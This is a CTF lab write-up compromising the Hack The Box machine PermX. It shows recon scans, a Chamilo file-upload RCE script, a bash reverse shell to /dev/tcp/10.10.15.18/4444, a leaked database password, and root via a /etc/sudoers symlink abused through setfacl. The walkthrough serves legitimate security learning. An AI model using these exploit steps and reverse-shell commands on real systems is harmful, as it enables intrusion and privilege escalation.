PermX is an easy Linux box, which is running a vulnerable version of Chamilio CMS which leads to a initial shell. Running linpeas reveals a password, which seems to be the password of the user mtz. Mtz has sudo permissions to run a custom bash binary, which can be exploited by making a symlink of /etc/sudoers and giving ourself ALL permissions to get root access.
I run my normal nmap scan. Port 80 and port 22 are open.
sudo nmap -sSCV 10.10.11.23 -oN nmap/nmap_normal -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 06:54 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 06:54
Completed NSE at 06:54, 0.00s elapsed
Initiating NSE at 06:54
Completed NSE at 06:54, 0.00s elapsed
Initiating NSE at 06:54
Completed NSE at 06:54, 0.00s elapsed
Initiating Ping Scan at 06:54
Scanning 10.10.11.23 [4 ports]
Completed Ping Scan at 06:54, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:54
Completed Parallel DNS resolution of 1 host. at 06:54, 0.02s elapsed
Initiating SYN Stealth Scan at 06:54
Scanning 10.10.11.23 [1000 ports]
Discovered open port 80/tcp on 10.10.11.23
Discovered open port 22/tcp on 10.10.11.23
Completed SYN Stealth Scan at 06:54, 0.27s elapsed (1000 total ports)
Initiating Service scan at 06:54
Scanning 2 services on 10.10.11.23
Completed Service scan at 06:54, 6.07s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.23.
Initiating NSE at 06:54
Completed NSE at 06:54, 0.46s elapsed
Initiating NSE at 06:54
Completed NSE at 06:54, 0.03s elapsed
Initiating NSE at 06:54
Completed NSE at 06:54, 0.00s elapsed
Nmap scan report for 10.10.11.23
Host is up (0.012s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 06:54
Completed NSE at 06:54, 0.00s elapsed
Initiating NSE at 06:54
Completed NSE at 06:54, 0.00s elapsed
Initiating NSE at 06:54
Completed NSE at 06:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.036KB)
The SSH banner shows it is an Ubuntu machine. Port 80 redirects to http://permx.htb
, so I add that to my /etc/hosts
file.
permx.htb is just a static website.
Virtual hosts enumeration with ffuf reveals the following endpoints: http://lms.permx.htb
and http://www.permx.htb
. I add this to my /etc/hosts
file.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -H "Host: FUZZ.permx.htb" -u http://permx.htb -ic -fw 18
http://lms.permx.htb
contains a login portal.
The footer also contains interesting information
Clicking on I lost my password
redirects to http://lms.permx.htb/main/auth/lostPassword.php
, so now we know we’re dealing with PHP.
It is also interesting there is the option to change the language, which makes me think about possible file inclusion. Tried this, but no luck.
$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://lms.permx.htb/index.php?language=FUZZ' -ic -fw 4910
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://lms.permx.htb/index.php?language=FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 4910
________________________________________________
:: Progress: [929/929] :: Job [1/1] :: 57 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
Googling for chamilo exploit
instantly shows a github repository with an exploit link, which leads to unauthenticated code execution. The exploit looks the following (I only changed the HOST variable). The CMD variable is the command to be ran on the server.
$ cat exploit.sh
#!/bin/bash
HOST='http://lms.permx.htb'
CMD='id'
URL_UPLD='main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
URL_FILE='main/inc/lib/javascript/bigupload/files/rce.php'
cat <<'EOF'>/tmp/rce.php
EOF
curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URL_UPLD"
CMD=$(echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")
curl "$HOST/$URL_FILE?aoOoy=$CMD"
Running this gives the output
$ ./exploit.sh
The file has successfully been uploaded.uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now I change it to a reverse shell payload
CMD='/bin/bash -i >& /dev/tcp/10.10.15.18/4444 0>&1'
This doesn’t work, so I made a little change, by adding
/bin/bash -c
before the reverse shell, which executes the command inside the single quotes.
CMD="/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.15.18/4444 0>&1'"
Running the exploit, gives a shell as www-data
.
nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.18] from (UNKNOWN) [10.10.11.23] 48592
bash: cannot set terminal process group (1173): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$
Running linpeas reveals a password
╔══════════╣ Searching passwords in config PHP files
'show_password_field' => false,
'show_password_field' => true,
'wget_password' => '',
'force_different_password' => false,
$_configuration['auth_password_links'] = [
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
Testing this password on mtz
(the only user) gives us SSH access and the user flag!
mtz@permx:~$ cat user.txt
84dfd2afa76f1c4a567c441d70eb4cf7
Running sudo -l
shows that we can run /opt/acl.sh
.
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
This file contains the following code, this clearly is a self made bash script.
The script first checks if 3 arguments are passed in, if this is not the case, it exits. After that it sets the variable user to the first argument, perm variable to the second argument and target to the third argument.
It then checks that the target is /home/mtz/*
and does not contain *..*
(against directory traversal).
After that, one more check is done to verify that the path is a file. After all these checks are passed, it runs /usr/bin/setfacl
(used to set file access control list) as sudo. It grants the user
the permissions specified by perm
onto the target
.
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
Also, it is good to check who is the owner of the /opt/acl.sh
binary, since otherwise I might have been possible to modify it.
mtz@permx:~$ ls -la /opt/acl.sh
-rwxr-xr-x 1 root root 419 Jun 5 11:58 /opt/acl.sh
symlink to /etc/sudoers
mtz@permx:~$ ln -s /etc/sudoers /home/mtz/sudoerslink
mtz@permx:~$
mtz@permx:~$ ls -l
total 8
-rw-rwxr--+ 1 mtz mtz 28 Nov 2 10:42 exploit.sh
lrwxrwxrwx 1 mtz mtz 12 Nov 2 10:59 sudoerslink -> /etc/sudoers
-rw-r----- 1 root mtz 33 Nov 2 01:41 user.txt
Set permissions
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/sudoerslink
I then change the following line in the file /home/mtz/sudoerslink
to be able to run all commands as sudo.
mtz ALL=(ALL:ALL) NOPASSWD: ALL
Which gives me all the permissions
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: ALL
With that, I can change to root and read the final flag.
mtz@permx:~$ sudo su root
root@permx:/home/mtz# cat /root/root.txt
21f17cef6b247b145a2c2b11352740d1